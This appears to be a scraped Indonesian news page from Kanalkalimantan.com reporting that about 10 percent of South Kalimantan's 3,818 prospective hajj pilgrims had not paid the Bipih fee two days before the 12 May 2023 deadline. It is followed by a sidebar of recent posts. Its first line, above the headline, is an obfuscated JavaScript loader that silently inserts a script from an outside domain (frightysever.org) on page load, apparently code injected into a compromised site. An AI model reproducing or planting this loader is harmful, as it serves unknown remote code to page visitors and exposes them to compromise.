(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tinggal Dua Hari, 10 Persen Calon Jemaah Haji Kalsel Belum Lunasi Setoran Bipih


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang musim haji 2023, ribuan calon jamaah haji (CJH) asal Kalimantan Selatan (Kalsel) persiapan untuk diberangkatkan ke Tanah Suci pada 29 Mei mendatang.

Kepala Kantor Wilayah Kementerian Agama (Kakanwil Kemenag) Kalsel HM Thambrin mengatakan, total keseluruhan CJH asal Kalsel pada tahun 2023 ini atau kuota yang akan diberangkatkan sebanyak 3.818 orang.

Namun dari jumlah tersebut, hingga Rabu 10 Mei 2023, dikatakan HM Thambrin, masih ada ratusan CJH dari kabupaten/kota di Kalsel yang belum melunasi setoran Biaya Perjalanan Ibadah Haji atau Bipih.

“Sekitar 10% yang belum lunas setoran Bipih dari 3.818 orang yang akan berangkat tahun ini,” kata Kakanwil Kemenag Kalsel, kepada Kanalkalimantan.com, Rabu (10/5/2023) sore.

 Baca juga: Beri Perlindungan, 5.480 Relawan Damkar se Banjarmasin akan Diasuransikan

Sementara itu, dikatakan batas akhir perpanjangan pelunasan Bipih akan berakhir dua hari lagi, yaitu pada hari Jumat 12 Mei 2023.

Dia pun mengimbau kepada calon jemaah haji Kalsel untuk segera melakukan pelunasan setoran biaya perjalanan ibadah haji hingga batas akhir waktu perpanjangan nanti.

Sementara itu, Thambrin belum bisa membeberkan konsekuensi apa yang diterima jika para calon jemaah haji yang belum juga melunasi hingga akhir pelunasan.

Kakanwil Kemenag Kalsel HM Thambrin. Foto: rizki

“Soal konsekuensinya itu kami masih menunggu regulasi dari Kementerian,” ucap Thambrin.

Sementara itu, dijelaskan Thambrin, setidaknya ada tiga faktor yang mempengaruhinya kendala pelunasan Bipih, diantaranya karena adanya penerapan kebijakan baru.

 Baca juga: Empat Kabupaten Dapat Anggaran Pamsimas, PUPR Kalsel Gelar Bimtek

Pertama karena karena tidak adanya pendampingan bagi jemaah lansia, kedua karena tidak adanya penggabungan mahram baik antara orangtua dan anak atau istri dan suaminya, apabila tidak mendaftar bersamaan maupun salah satunya tak masuk porsi keberangkatan tahun ini.

“Yang ketiga tentu karena belum bisa bayar atau faktor ekonomi,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

4 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

6 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

11 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

14 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

15 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.